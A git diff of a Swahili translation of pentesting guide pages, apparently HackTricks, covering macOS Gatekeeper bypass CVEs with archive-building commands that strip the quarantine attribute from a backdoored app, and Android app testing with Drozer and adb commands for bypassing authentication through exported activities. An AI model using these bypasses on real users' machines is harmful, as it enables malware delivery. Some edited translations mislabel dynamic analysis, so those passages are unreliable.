katika programu: ```bash chmod +a "everyone deny write,writeattr,writeextattr" /tmp/test ditto -c -k test test.zip @@ -448,7 +448,7 @@ Iligundulika kwamba **Google Chrome haikuwa ikipanga sifa ya karantini** kwa fai ### [CVE-2023-27951](https://redcanary.com/blog/gatekeeper-bypass-vulnerabilities/) -Mifumo ya faili ya AppleDouble huhifadhi sifa za faili katika faili tofauti inayoanisha kwa `._`, hii husaidia kunakili sifa za faili **katika mashine za macOS**. Hata hivyo, ilionekana kwamba baada ya kufungua faili la AppleDouble, faili inayoanisha kwa `._` **haikupatiwa sifa ya karantini**. +Mifumo ya faili ya AppleDouble huhifadhi sifa za faili katika faili tofauti inayaanza na `._`, hii husaidia kuhamasisha sifa za faili **katika mashine za macOS**. Hata hivyo, ilionekana kwamba baada ya kufungua faili la AppleDouble, faili inayaanza na `._` **haikupatiwa sifa ya karantini**. ```bash mkdir test echo a > test/a @@ -458,7 +458,7 @@ aa archive -d test/ -o test.aar # If you downloaded the resulting test.aar and decompress it, the file test/._a won't have a quarantitne attribute ``` -Kuweza kuunda faili ambayo haitakuwa na sifa ya karantini, ilikuwa **inawezekana kupita Gatekeeper.** Njia ilikuwa **kuunda faili ya DMG** kwa kutumia kanuni ya jina la AppleDouble (anza nayo `._`) na kuunda **faili inayoonekana kama kiungo cha sym kwa faili hii iliyofichwa** bila sifa ya karantini.\ +Kuweza kuunda faili ambayo haitakuwa na sifa ya karantini, ilikuwa **inawezekana kupita Gatekeeper.** Njia ilikuwa **kuunda programu ya faili la DMG** kwa kutumia kanuni ya jina la AppleDouble (anza nayo `._`) na kuunda **faili inayoonekana kama kiungo cha sym kwa faili hii iliyofichwa** bila sifa ya karantini.\ Wakati **faili ya dmg inatekelezwa**, kwa kuwa haina sifa ya karantini itapita **Gatekeeper.** ```bash # Create an app bundle with the backdoor an call it app.app @@ -477,24 +477,24 @@ aa archive -d s/ -o app.aar ``` ### [CVE-2023-41067] -Kukwepa Gatekeeper kulikorekwa katika macOS Sonoma 14.0 kuliruhusu programu zilizoundwa kwa makusudi kuendesha bila kuomba. Maelezo yalifichuliwa hadharani baada ya kurekebisha na tatizo lilitumiwa kwa nguvu kabla ya kurekebishwa. Hakikisha Sonoma 14.0 au toleo la baadaye limewekwa. +Kukwepa kwa Gatekeeper kulikorekebishwa katika macOS Sonoma 14.0 kuliruhusu programu zilizoundwa kwa makusudi kuendesha bila kuomba. Maelezo yalifichuliwa hadharani baada ya kurekebisha na tatizo lilitumiwa kwa nguvu kabla ya kurekebishwa. Hakikisha Sonoma 14.0 au baadaye imewekwa. ### [CVE-2024-27853] -Kukwepa Gatekeeper katika macOS 14.4 (iliyotolewa Machi 2024) inayotokana na `libarchive` kushughulikia ZIP zenye uharibifu kuliruhusu programu kukwepa tathmini. Sasisha hadi 14.4 au toleo la baadaye ambapo Apple ilishughulikia tatizo hilo. +Kukwepa kwa Gatekeeper katika macOS 14.4 (iliyotolewa Machi 2024) kutokana na usimamizi wa `libarchive` wa ZIP zenye uharibifu kuliruhusu programu kukwepa tathmini. Sasisha hadi 14.4 au baadaye ambapo Apple ilishughulikia tatizo. -### Unarchivers wa wahusika wengine wanaosambaza karantini vibaya (2023–2024) +### Unarchivers wa wahusika wengine wakisambaza karantini vibaya (2023–2024) -Vulnerabilities kadhaa katika zana maarufu za kutoa (mfano, The Unarchiver) zilisababisha faili zilizotolewa kutoka kwa archives kukosa `com.apple.quarantine` xattr, na hivyo kuwezesha fursa za kukwepa Gatekeeper. Daima tegemea macOS Archive Utility au zana zilizorekebishwa unapofanya majaribio, na thibitisha xattrs baada ya kutoa. +Vulnerabilities kadhaa katika zana maarufu za kutoa (k.m., The Unarchiver) zilisababisha faili zilizotolewa kutoka kwa archives kukosa `com.apple.quarantine` xattr, na hivyo kuwezesha fursa za kukwepa Gatekeeper. Daima tegemea macOS Archive Utility au zana zilizorekebishwa unapofanya majaribio, na thibitisha xattrs baada ya kutoa. ### uchg (kutoka katika hii [talk](https://codeblue.jp/2023/result/pdf/cb23-bypassing-macos-security-and-privacy-mechanisms-from-gatekeeper-to-system-integrity-protection-by-koh-nakagawa.pdf)) - Unda directory inayojumuisha programu. -- Ongeza uchg kwenye programu. +- Ongeza uchg kwa programu. - Funga programu hiyo kuwa faili ya tar.gz. - Tuma faili ya tar.gz kwa mwathirika. - Mwathirika anafungua faili ya tar.gz na kuendesha programu. -- Gatekeeper haitakagua programu hiyo. +- Gatekeeper haitakagua programu. ### Zuia xattr ya Karantini diff --git a/src/mobile-pentesting/android-app-pentesting/README.md b/src/mobile-pentesting/android-app-pentesting/README.md index b74783e08..713c49922 100644 --- a/src/mobile-pentesting/android-app-pentesting/README.md +++ b/src/mobile-pentesting/android-app-pentesting/README.md @@ -13,14 +13,14 @@ android-applications-basics.md ## ADB (Android Debug Bridge) Hii ni zana kuu unayohitaji kuungana na kifaa cha android (kilichosimuliwa au halisi).\ -**ADB** inaruhusu kudhibiti vifaa ama kupitia **USB** au **Mtandao** kutoka kwa kompyuta. Hii huduma inaruhusu **kuhamasisha** faili katika mwelekeo wote, **kusakinisha** na **kuondoa** programu, **kutekeleza** amri za shell, **kufanya nakala ya** data, **kusoma** kumbukumbu, kati ya kazi nyingine. +**ADB** inaruhusu kudhibiti vifaa ama kupitia **USB** au **Mtandao** kutoka kwa kompyuta. Hii huduma inaruhusu **kuhamasisha** faili katika mwelekeo wote, **kusakinisha** na **kuondoa** programu, **kutekeleza** amri za shell, **kufanya nakala** ya data, **kusoma** kumbukumbu, kati ya kazi nyingine. Angalia orodha ifuatayo ya [**Amri za ADB**](adb-commands.md) kujifunza jinsi ya kutumia adb. ## Smali Wakati mwingine ni muhimu **kubadilisha msimbo wa programu** ili kufikia **habari zilizofichwa** (labda nywila au bendera zilizofichwa vizuri). Hivyo, inaweza kuwa ya kuvutia decompile apk, kubadilisha msimbo na kuirekebisha.\ -[**Katika mafunzo haya** unaweza **kujifunza jinsi ya decompile APK, kubadilisha msimbo wa Smali na kuirekebisha APK** na kazi mpya](smali-changes.md). Hii inaweza kuwa ya manufaa kama **mbadala kwa majaribio kadhaa wakati wa uchambuzi wa dynamic** ambao utawasilishwa. Hivyo, **weka daima katika akili uwezekano huu**. +[**Katika mafunzo haya** unaweza **kujifunza jinsi ya decompile APK, kubadilisha msimbo wa Smali na kuirekebisha APK** na kazi mpya](smali-changes.md). Hii inaweza kuwa ya manufaa kama **mbadala kwa majaribio kadhaa wakati wa uchambuzi wa dynamic** ambayo yatpresentwa. Hivyo, **weka daima katika akili uwezekano huu**. ## Njia nyingine za kuvutia @@ -60,12 +60,12 @@ java -jar uber-apk-signer.jar -a merged.apk --allowResign -o merged_signed ## Static Analysis -Kwanza kabisa, kwa kuchambua APK unapaswa **kuangalia msimbo wa Java** kwa kutumia decompiler.\ +Kwanza, kwa kuchambua APK unapaswa **kuangalia msimbo wa Java** kwa kutumia decompiler.\ Tafadhali, [**soma hapa kupata taarifa kuhusu decompilers mbalimbali zinazopatikana**](apk-decompilers.md). ### Looking for interesting Info -Kwa kuangalia **nyuzi** za APK unaweza kutafuta **nywila**, **URLs** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep)), **api** funguo, **sifuri**, **bluetooth uuids**, **tokens** na chochote kinachovutia... angalia hata kwa utekelezaji wa msimbo **backdoors** au backdoors za uthibitishaji (akili za admin zilizowekwa ndani ya programu). +Kwa kuangalia **nyuzi** za APK unaweza kutafuta **nywila**, **URLs** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep)), **api** funguo, **sifuri**, **bluetooth uuids**, **tokens** na chochote kinachovutia... angalia hata kwa utekelezaji wa msimbo **backdoors** au backdoors za uthibitishaji (akili za admin zilizowekwa kwenye programu). **Firebase** @@ -73,24 +73,24 @@ Lipa kipaumbele maalum kwa **firebase URLs** na angalia kama imewekwa vibaya. [T ### Basic understanding of the application - Manifest.xml, strings.xml -**uchambuzi wa faili za _Manifest.xml_ za programu na **_strings.xml_** unaweza kufichua udhaifu wa usalama**. Faili hizi zinaweza kufikiwa kwa kutumia decompilers au kwa kubadilisha kiendelezi cha faili la APK kuwa .zip na kisha kuzipa. +**Uchambuzi wa faili za _Manifest.xml_ za programu na **_strings.xml_** unaweza kufichua udhaifu wa usalama**. Faili hizi zinaweza kufikiwa kwa kutumia decompilers au kwa kubadilisha kiendelezi cha faili la APK kuwa .zip na kisha kuzipa. **Udhaifu** ulioainishwa kutoka kwa **Manifest.xml** ni pamoja na: -- **Programu zinazoweza kudhibitiwa**: Programu zilizowekwa kama zinazoweza kudhibitiwa (`debuggable="true"`) katika faili ya _Manifest.xml_ zinatoa hatari kwani zinaruhusu muunganisho ambao unaweza kusababisha unyakuzi. Kwa ufahamu zaidi kuhusu jinsi ya kukandamiza programu zinazoweza kudhibitiwa, rejelea mafunzo juu ya kutafuta na kukandamiza programu zinazoweza kudhibitiwa kwenye kifaa. +- **Programu zinazoweza kudhibitiwa**: Programu zilizowekwa kama zinazoweza kudhibitiwa (`debuggable="true"`) katika faili la _Manifest.xml_ zinatoa hatari kwani zinaruhusu muunganisho ambao unaweza kusababisha unyakuzi. Kwa ufahamu zaidi kuhusu jinsi ya kukandamiza programu zinazoweza kudhibitiwa, rejelea mafunzo juu ya kutafuta na kukandamiza programu zinazoweza kudhibitiwa kwenye kifaa. - **Mipangilio ya Nakala**: Sifa ya `android:allowBackup="false"` inapaswa kuwekwa wazi kwa programu zinazoshughulika na taarifa nyeti ili kuzuia nakala zisizoidhinishwa kupitia adb, hasa wakati ufuatiliaji wa usb umewezeshwa. - **Usalama wa Mtandao**: Mipangilio ya usalama wa mtandao ya kawaida (`android:networkSecurityConfig="@xml/network_security_config"`) katika _res/xml/_ inaweza kubainisha maelezo ya usalama kama vile pini za cheti na mipangilio ya trafiki ya HTTP. Mfano ni kuruhusu trafiki ya HTTP kwa maeneo maalum. - **Shughuli na Huduma zilizotolewa**: Kutambua shughuli na huduma zilizotolewa katika manifest kunaweza kuonyesha vipengele ambavyo vinaweza kutumika vibaya. Uchambuzi zaidi wakati wa upimaji wa dinamik unaweza kufichua jinsi ya kukandamiza vipengele hivi. - **Watoa Maudhui na Watoa Faili**: Watoa maudhui walio wazi wanaweza kuruhusu ufikiaji usioidhinishwa au mabadiliko ya data. Mipangilio ya Watoa Faili pia inapaswa kuchunguzwa kwa makini. -- **Vipokezi vya Matangazo na Mipango ya URL**: Vipengele hivi vinaweza kutumika kwa unyakuzi, huku kukiwa na umakini maalum juu ya jinsi mipango ya URL inavyosimamiwa kwa udhaifu wa ingizo. +- **Vikumbusho vya Matangazo na Mipango ya URL**: Vipengele hivi vinaweza kutumika kwa unyakuzi, huku kukiwa na umakini maalum juu ya jinsi mipango ya URL inavyoshughulikiwa kwa udhaifu wa ingizo. - **Toleo la SDK**: Sifa za `minSdkVersion`, `targetSDKVersion`, na `maxSdkVersion` zinaonyesha toleo la Android linaloungwa mkono, zikisisitiza umuhimu wa kutosaidia toleo la zamani la Android lenye udhaifu kwa sababu za usalama. Kutoka kwa faili ya **strings.xml**, taarifa nyeti kama funguo za API, mipango ya kawaida, na maelezo mengine ya waendelezaji yanaweza kugundulika, yakisisitiza hitaji la ukaguzi wa makini wa rasilimali hizi. ### Tapjacking -**Tapjacking** ni shambulio ambapo **programu** **mbaya** inazinduliwa na **kujiweka juu ya programu ya mwathirika**. Mara inapoificha wazi programu ya mwathirika, kiolesura chake cha mtumiaji kimeundwa kwa njia ya kudanganya mtumiaji kuingiliana nayo, wakati ikipitia mwingiliano huo kwa programu ya mwathirika.\ -Kwa hivyo, inafanya **mtumiaji asijue kwamba anafanya vitendo kwenye programu ya mwathirika**. +**Tapjacking** ni shambulio ambapo **programu** **mbaya** inazinduliwa na **kujiweka juu ya programu ya mwathirika**. Mara inapoificha wazi programu ya mwathirika, kiolesura chake cha mtumiaji kimeundwa kwa njia ya kudanganya mtumiaji kuingiliana nayo, wakati inapitisha mwingiliano huo kwa programu ya mwathirika.\ +Kwa kweli, inamfanya mtumiaji **kutojua kwamba anafanya vitendo kwenye programu ya mwathirika**. Pata taarifa zaidi katika: @@ -100,7 +100,7 @@ tapjacking.md ### Task Hijacking -**shughuli** yenye **`launchMode`** iliyowekwa kuwa **`singleTask` bila `taskAffinity`** iliyofafanuliwa inakuwa hatarini kwa task Hijacking. Hii inamaanisha kwamba, **programu** inaweza kusakinishwa na ikiwa itazinduliwa kabla ya programu halisi inaweza **kuhijack kazi ya programu halisi** (hivyo mtumiaji atakuwa akifanya kazi na **programu mbaya akidhani anatumia halisi**). +**Shughuli** yenye **`launchMode`** iliyowekwa kuwa **`singleTask` bila `taskAffinity`** iliyofafanuliwa inakuwa hatarini kwa Task Hijacking. Hii inamaanisha kwamba, **programu** inaweza kusakinishwa na ikiwa itazinduliwa kabla ya programu halisi inaweza **kuhijack kazi ya programu halisi** (hivyo mtumiaji atakuwa akifanya kazi na **programu mbaya akidhani anatumia halisi**). Taarifa zaidi katika: @@ -112,12 +112,12 @@ android-task-hijacking.md **Hifadhi ya Ndani** -Katika Android, faili **zilizohifadhiwa** katika **hifadhi ya ndani** zime **kusudiwa** kuwa **zinapatikana** pekee na **programu** iliyozitengeneza. Kipimo hiki cha usalama kinatekelezwa na mfumo wa uendeshaji wa Android na kwa ujumla kinatosha kwa mahitaji ya usalama ya programu nyingi. Hata hivyo, waendelezaji wakati mwingine hutumia njia kama `MODE_WORLD_READABLE` na `MODE_WORLD_WRITABLE` ili **kuruhusu** faili kushirikiwa kati ya programu tofauti. Hata hivyo, njia hizi **hazizuizi ufikiaji** wa faili hizi na programu nyingine, ikiwa ni pamoja na zile zenye nia mbaya. +Katika Android, faili **zilizohifadhiwa** katika **hifadhi ya ndani** zimeundwa kuwa **zinapatikana** pekee na **programu** iliyozitengeneza. Kipimo hiki cha usalama kinatekelezwa na mfumo wa uendeshaji wa Android na kwa ujumla kinatosha kwa mahitaji ya usalama ya programu nyingi. Hata hivyo, waendelezaji wakati mwingine hutumia njia kama `MODE_WORLD_READABLE` na `MODE_WORLD_WRITABLE` ili **kuruhusu** faili **kushirikiwa** kati ya programu tofauti. Hata hivyo, njia hizi **hazizuizi ufikiaji** wa faili hizi na programu nyingine, ikiwa ni pamoja na zile zenye nia mbaya. -1. **Uchambuzi wa Kawaida:** -- **Hakikisha** kwamba matumizi ya `MODE_WORLD_READABLE` na `MODE_WORLD_WRITABLE` yanachunguzwa kwa makini. Njia hizi **zinaweza kufichua** faili kwa **ufikiaji usioidhinishwa au usioidhinishwa**. -2. **Uchambuzi wa Dinamik:** -- **Thibitisha** **idhini** zilizowekwa kwenye faili zilizoundwa na programu. Kwa haswa, **angalia** kama faili yoyote ime **wekwa kuwa inasomeka au kuandikwa duniani kote**. Hii inaweza kuwa hatari kubwa ya usalama, kwani itaruhusu **programu yoyote** iliyosakinishwa kwenye kifaa, bila kujali asili yake au nia, **kusoma au kubadilisha** faili hizi. +1. **Uchambuzi wa Kimuundo:** +- **Hakikisha** kwamba matumizi ya `MODE_WORLD_READABLE` na `MODE_WORLD_WRITABLE` yanachunguzwa kwa makini. Njia hizi **zinaweza kufichua** faili kwa **ufikiaji usioidhinishwa au usio kusudiwa**. +2. **Uchambuzi wa Kijamii:** +- **Thibitisha** **idhini** zilizowekwa kwenye faili zilizoundwa na programu. Kwa haswa, **angalia** kama faili yoyote imewekwa kuwa inasomeka au kuandikwa duniani kote. Hii inaweza kuwa hatari kubwa ya usalama, kwani itaruhusu **programu yoyote** iliyosakinishwa kwenye kifaa, bila kujali asili yake au nia, **kusoma au kubadilisha** faili hizi. **Hifadhi ya Nje** @@ -130,8 +130,8 @@ Wakati wa kushughulikia faili kwenye **hifadhi ya nje**, kama vile Kadi za SD, t - Hifadhi ya nje inaweza kuondolewa au kufikiwa na programu yoyote, na kufanya kuwa na usalama mdogo. 3. **Kushughulikia Data kutoka Hifadhi ya Nje**: - Daima **fanya uthibitisho wa ingizo** kwenye data iliyopatikana kutoka hifadhi ya nje. Hii ni muhimu kwa sababu data hiyo inatoka kwenye chanzo kisichoaminika. -- Kuhifadhi executable au faili za darasa kwenye hifadhi ya nje kwa ajili ya upakiaji wa dinamik kunashauriwa kutoonekana. -- Ikiwa programu yako inapaswa kupata faili za executable kutoka hifadhi ya nje, hakikisha faili hizi **zime saini na kuthibitishwa kwa njia ya kisayansi** kabla ya kupakiwa kwa dinamik. Hatua hii ni muhimu kwa kudumisha uadilifu wa usalama wa programu yako. +- Kuhifadhi faili za kutekeleza au faili za darasa kwenye hifadhi ya nje kwa ajili ya upakiaji wa dinamik kunakataliwa vikali. +- Ikiwa programu yako inapaswa kupata faili za kutekeleza kutoka hifadhi ya nje, hakikisha faili hizi **zimepangwa na kuthibitishwa kwa njia ya kisayansi** kabla ya kupakiwa kwa dinamik. Hatua hii ni muhimu kwa kudumisha uaminifu wa usalama wa programu yako. Hifadhi ya nje inaweza kufikiwa katika `/storage/emulated/0`, `/sdcard`, `/mnt/sdcard` @@ -158,18 +158,18 @@ Njia nzuri ya kujaribu hii ni kujaribu kukamata trafiki kwa kutumia proxy kama B **Mchakato Mbaya wa Usimamizi wa Funguo** -Wakandarasi wengine huhifadhi data nyeti katika hifadhi ya ndani na kuificha kwa funguo zilizowekwa kwa ngumu/zinazoweza kutabiriwa katika msimbo. Hii haipaswi kufanywa kwani baadhi ya kurudi nyuma kunaweza kuruhusu washambuliaji kutoa taarifa za siri. +Wakandarasi wengine huhifadhi data nyeti katika hifadhi ya ndani na kuificha kwa funguo zilizowekwa kwa nguvu/kutabirika katika msimbo. Hii haipaswi kufanywa kwani baadhi ya kurudi nyuma kunaweza kuruhusu washambuliaji kutoa taarifa za siri. **Matumizi ya Algorithimu zisizo Salama na/au Zilizopitwa na Wakati** -Wakandarasi hawapaswi kutumia **algorithimu zilizopitwa na wakati** kufanya **ukaguzi**, **hifadhi** au **tuma** data. Baadhi ya algorithimu hizi ni: RC4, MD4, MD5, SHA1... Ikiwa **hashes** zinatumika kuhifadhi nywila kwa mfano, hashes zinazopinga **brute-force** zinapaswa kutumika na chumvi. +Wakandarasi hawapaswi kutumia **algorithimu zilizopitwa na wakati** kufanya **ukaguzi**, **hifadhi** au **tuma** data. Baadhi ya algorithimu hizi ni: RC4, MD4, MD5, SHA1... Ikiwa **hashes** zinatumika kuhifadhi nywila kwa mfano, hashes zinazostahimili **brute-force** zinapaswa kutumika na chumvi. ### Ukaguzi Mwingine - Inapendekezwa **kuficha APK** ili kufanya kazi ya mhandisi wa kurudi kuwa ngumu kwa washambuliaji. - Ikiwa programu ni nyeti (kama programu za benki), inapaswa kufanya **ukaguzi wake mwenyewe kuona kama simu imejikita** na kuchukua hatua zinazofaa. -- Ikiwa programu ni nyeti (kama programu za benki), inapaswa kuangalia kama **emulator** inatumika. -- Ikiwa programu ni nyeti (kama programu za benki), inapaswa **kuangalia uadilifu wake kabla ya kutekeleza** ili kuona kama imebadilishwa. +- Ikiwa programu ni nyeti (kama programu za benki), inapaswa kuangalia ikiwa **emulator** inatumika. +- Ikiwa programu ni nyeti (kama programu za benki), inapaswa **kuangalia uadilifu wake mwenyewe kabla ya kutekeleza** ili kuangalia ikiwa imebadilishwa. - Tumia [**APKiD**](https://github.com/rednaga/APKiD) kuangalia ni compiler/packer/obfuscator gani ilitumika kujenga APK ### Programu ya React Native @@ -194,7 +194,7 @@ Kulingana na [**blogu hii**](https://clearbluejar.github.io/posts/desuperpacking ### Uchambuzi wa Msimbo wa Kawaida wa Kiotomatiki -Chombo [**mariana-trench**](https://github.com/facebook/mariana-trench) kina uwezo wa kupata **vulnerabilities** kwa **kuchanganua** **msimbo** wa programu. Chombo hiki kina mfululizo wa **vyanzo vilivyofahamika** (ambavyo vinaonyesha kwa chombo **mahali** ambapo **ingizo** linadhibitiwa na mtumiaji), **sinks** (ambazo zinaonyesha kwa chombo **mahali hatari** ambapo ingizo la mtumiaji mbaya linaweza kusababisha madhara) na **sheria**. Sheria hizi zinaonyesha **mchanganyiko** wa **vyanzo-sinks** unaoashiria udhaifu. +Chombo [**mariana-trench**](https://github.com/facebook/mariana-trench) kina uwezo wa kupata **vulnerabilities** kwa **kuchanganua** **msimbo** wa programu. Chombo hiki kina mfululizo wa **vyanzo vinavyojulikana** (ambayo inaonyesha kwa chombo **mahali** ambapo **ingizo** linadhibitiwa na mtumiaji), **sinks** (ambayo inaonyesha kwa chombo **mahali hatari** ambapo ingizo la mtumiaji mbaya linaweza kusababisha madhara) na **sheria**. Sheria hizi zinaonyesha **mchanganyiko** wa **vyanzo-sinks** unaoashiria udhaifu. Kwa maarifa haya, **mariana-trench itakagua msimbo na kupata udhaifu unaowezekana ndani yake**. @@ -225,13 +225,13 @@ content-protocol.md --- -## Uchambuzi wa Kijadi +## Uchambuzi wa Kijani > Kwanza kabisa, unahitaji mazingira ambapo unaweza kufunga programu na mazingira yote (cheti cha Burp CA, Drozer na Frida hasa). Kwa hivyo, kifaa kilichojikita (kilichotengenezwa au la) kinapendekezwa sana. -### Uchambuzi wa Kijadi Mtandaoni +### Uchambuzi wa Kijani Mtandaoni -Unaweza kuunda **akaunti ya bure** katika: [https://appetize.io/](https://appetize.io). Jukwaa hili linakuwezesha **kupakia** na **kutekeleza** APKs, hivyo ni muhimu kuona jinsi apk inavyofanya kazi. +Unaweza kuunda **akaunti ya bure** katika: [https://appetize.io/](https://appetize.io). Jukwaa hili linakuruhusu **kupakia** na **kutekeleza** APKs, hivyo ni muhimu kuona jinsi apk inavyofanya kazi. Unaweza hata **kuona kumbukumbu za programu yako** kwenye wavuti na kuungana kupitia **adb**. @@ -239,11 +239,11 @@ Unaweza hata **kuona kumbukumbu za programu yako** kwenye wavuti na kuungana kup Shukrani kwa muunganisho wa ADB unaweza kutumia **Drozer** na **Frida** ndani ya emulators. -### Uchambuzi wa Kijadi wa Mitaa +### Uchambuzi wa Kijani wa Mitaa #### Kutumia emulator -- [**Android Studio**](https://developer.android.com/studio) (Unaweza kuunda **x86** na **arm** vifaa, na kulingana na [**hii**](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html)**toleo la hivi karibuni la x86** lina **unga mkono maktaba za ARM** bila kuhitaji emulator ya arm yenye kasi polepole). +- [**Android Studio**](https://developer.android.com/studio) (Unaweza kuunda **x86** na **arm** vifaa, na kulingana na [**hii**](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html)**toleo la hivi karibuni la x86** lina **unga mkono maktaba za ARM** bila kuhitaji emulator ya arm yenye polepole). - Jifunze jinsi ya kuiseti kwenye ukurasa huu: {{#ref}} @@ -256,7 +256,7 @@ avd-android-virtual-device.md > [!TIP] > Unapounda emulator mpya kwenye jukwaa lolote kumbuka kwamba kadri skrini inavyokuwa kubwa, ndivyo emulator itakavyokuwa polepole. Hivyo chagua skrini ndogo ikiwa inawezekana. -Ili **kufunga huduma za google** (kama AppStore) katika Genymotion unahitaji kubofya kitufe kilichochorwa kwa rangi nyekundu kwenye picha ifuatayo: +Ili **kufunga huduma za google** (kama AppStore) katika Genymotion unahitaji kubofya kitufe kilichochorwa kwa rangi nyekundu katika picha ifuatayo: ![](<../../images/image (277).png>) @@ -269,11 +269,11 @@ Unahitaji kuwasha **chaguzi za ufuatiliaji** na itakuwa vizuri ikiwa unaweza **k 1. **Mipangilio**. 2. (Kuanzia Android 8.0) Chagua **Mfumo**. 3. Chagua **Kuhusu simu**. -4. Bonyeza **Nambari ya Ujenzi** mara 7. -5. Rudi nyuma na utaona **Chaguzi za Wataalamu**. +4. Bonyeza **Nambari ya kujenga** mara 7. +5. Rudi nyuma na utapata **Chaguzi za Mwandamizi**. -> Mara baada ya kufunga programu, jambo la kwanza unapaswa kufanya ni kujaribu na kuchunguza inafanya nini, inafanya kazi vipi na kuzoea nayo.\ -> Nitapendekeza **kufanya uchambuzi huu wa awali wa kijadi kwa kutumia MobSF uchambuzi wa kijadi + pidcat**, ili tuweze **kujifunza jinsi programu inavyofanya kazi** wakati MobSF **inakamata** data nyingi **za kuvutia** ambazo unaweza kupitia baadaye. +> Mara tu umepakia programu, jambo la kwanza unapaswa kufanya ni kujaribu na kuchunguza inafanya nini, inafanya kazi vipi na kuzoea nayo.\ +> Nitapendekeza **kufanya uchambuzi huu wa awali wa kijani kwa kutumia uchambuzi wa kijani wa MobSF + pidcat**, ili tuweze **kujifunza jinsi programu inavyofanya kazi** wakati MobSF **inakamata** data nyingi **za kuvutia** ambazo unaweza kupitia baadaye. ### Kuvuja kwa Data zisizokusudiwa @@ -287,7 +287,7 @@ Wakandarasi wanapaswa kuwa waangalifu kuhusu kufichua **taarifa za ufuatiliaji** **Kuhifadhi Kumbukumbu za Nakala/Pasta** -Mfumo wa **clipboard** wa Android unaruhusu kazi za nakala-na-pasta katika programu, lakini unatoa hatari kwani **programu nyingine** zinaweza **kufikia** clipboard, na hivyo kufichua data nyeti. Ni muhimu **kuondoa kazi za nakala/pasta** kwa sehemu nyeti za programu, kama vile maelezo ya kadi ya mkopo, ili kuzuia kuvuja kwa data. +Mfumo wa **clipboard-based** wa Android unaruhusu kazi za nakala-na-pasta katika programu, lakini unatoa hatari kwani **programu nyingine** zinaweza **kufikia** clipboard, na hivyo kufichua data nyeti. Ni muhimu **kuondoa kazi za nakala/pasta** kwa sehemu nyeti za programu, kama vile maelezo ya kadi ya mkopo, ili kuzuia kuvuja kwa data. **Kumbukumbu za Kuanguka** @@ -297,32 +297,32 @@ Kama pentester, **jaribu kuangalia kumbukumbu hizi**. **Data za Uchambuzi Zinatumwa kwa Vyama vya Tatu** -Programu mara nyingi hujumuisha huduma kama Google Adsense, ambazo zinaweza bila kukusudia **kuvuja data nyeti** kutokana na utekelezaji usio sahihi na wakandarasi. Ili kubaini uwezekano wa kuvuja kwa data, inapendekezwa **kukamata trafiki ya programu** na kuangalia kama kuna taarifa nyeti zinazotumwa kwa huduma za vyama vya tatu. +Programu mara nyingi hujumuisha huduma kama Google Adsense, ambazo zinaweza bila kukusudia **kuvuja data nyeti** kutokana na utekelezaji usio sahihi na wakandarasi. Ili kubaini uwezekano wa kuvuja kwa data, inapendekezwa **kukamata trafiki ya programu** na kuangalia ikiwa kuna taarifa nyeti zinazotumwa kwa huduma za vyama vya tatu. ### SQLite DBs -Zaidi ya programu nyingi zitatumia **maktaba za ndani za SQLite** kuhifadhi taarifa. Wakati wa pentest angalia **maktaba** zilizoundwa, majina ya **meza** na **safu** na data yote **iliyohifadhiwa** kwa sababu unaweza kupata **taarifa nyeti** (ambayo itakuwa udhaifu).\ +Programu nyingi zitatumia **maktaba za ndani za SQLite** kuhifadhi taarifa. Wakati wa pentest angalia **maktaba** zilizoundwa, majina ya **meza** na **safu** na data yote **iliyohifadhiwa** kwa sababu unaweza kupata **taarifa nyeti** (ambayo itakuwa udhaifu).\ Maktaba zinapaswa kuwa katika `/data/data/the.package.name/databases` kama `/data/data/com.mwr.example.sieve/databases` Ikiwa maktaba inahifadhi taarifa za siri na ime **fichwa** lakini unaweza **kupata** **nywila** ndani ya programu bado ni **udhaifu**. -Taja meza kwa kutumia `.tables` na taja safu za meza kwa kufanya `.schema ` +Panga meza kwa kutumia `.tables` na panga safu za meza kwa kufanya `.schema ` -### Drozer (Kufanya Kazi za Kutoroka, Watoa Maudhui na Huduma) +### Drozer (Kuvunja Shughuli, Watoa Maudhui na Huduma) -Kutoka [Drozer Docs](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf): **Drozer** inakuwezesha **kuchukua jukumu la programu ya Android** na kuingiliana na programu nyingine. Inaweza kufanya **chochote ambacho programu iliyosakinishwa inaweza kufanya**, kama kutumia mfumo wa Mawasiliano ya Mchakato wa Android (IPC) na kuingiliana na mfumo wa uendeshaji wa chini.\ -Drozer ni chombo muhimu kwa **kufanya kazi za kutoroka, huduma zilizotolewa na Watoa Maudhui** kama utakavyofundishwa katika sehemu zifuatazo. +Kutoka [Drozer Docs](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf): **Drozer** inakuruhusu **kuchukua jukumu la programu ya Android** na kuingiliana na programu nyingine. Inaweza kufanya **chochote ambacho programu iliyosakinishwa inaweza kufanya**, kama kutumia mfumo wa Mawasiliano ya Mchakato wa Android (IPC) na kuingiliana na mfumo wa uendeshaji wa chini.\ +Drozer ni chombo muhimu kwa **kuvunja shughuli zilizotolewa, huduma zilizotolewa na Watoa Maudhui** kama utakavyofundishwa katika sehemu zifuatazo. -### Kutoroka Kazi za Kutoroka +### Kuvunja Shughuli Zilizotolewa -[**Soma hii ikiwa unataka kufreshi kile kilicho Android Activity.**](android-applications-basics.md#launcher-activity-and-other-activities)\ +[**Soma hii ikiwa unataka kufreshi kile kilicho shughuli ya Android.**](android-applications-basics.md#launcher-activity-and-other-activities)\ Pia kumbuka kwamba msimbo wa shughuli huanza katika **`onCreate`** njia. **Kupita Uthibitishaji** -Wakati Shughuli inapotolewa unaweza kuita skrini yake kutoka programu ya nje. Hivyo, ikiwa shughuli yenye **taarifa nyeti** ime **tolewa** unaweza **kupita** mitambo ya **uthibitishaji** **ili kuipata.** +Wakati shughuli inapotolewa unaweza kuita skrini yake kutoka programu ya nje. Hivyo, ikiwa shughuli yenye **taarifa nyeti** ime **tolewa** unaweza **kupita** mitambo ya **uthibitishaji** **kuipata.** -[**Jifunze jinsi ya kufanya kazi za kutoroka kwa Drozer.**](drozer-tutorial/index.html#activities) +[**Jifunze jinsi ya kuvunja shughuli zilizotolewa na Drozer.**](drozer-tutorial/index.html#activities) Unaweza pia kuanzisha shughuli iliyotolewa kutoka adb: @@ -338,7 +338,7 @@ adb shell am start -n com.example.demo/com.example.test.MainActivity **Kuvuja 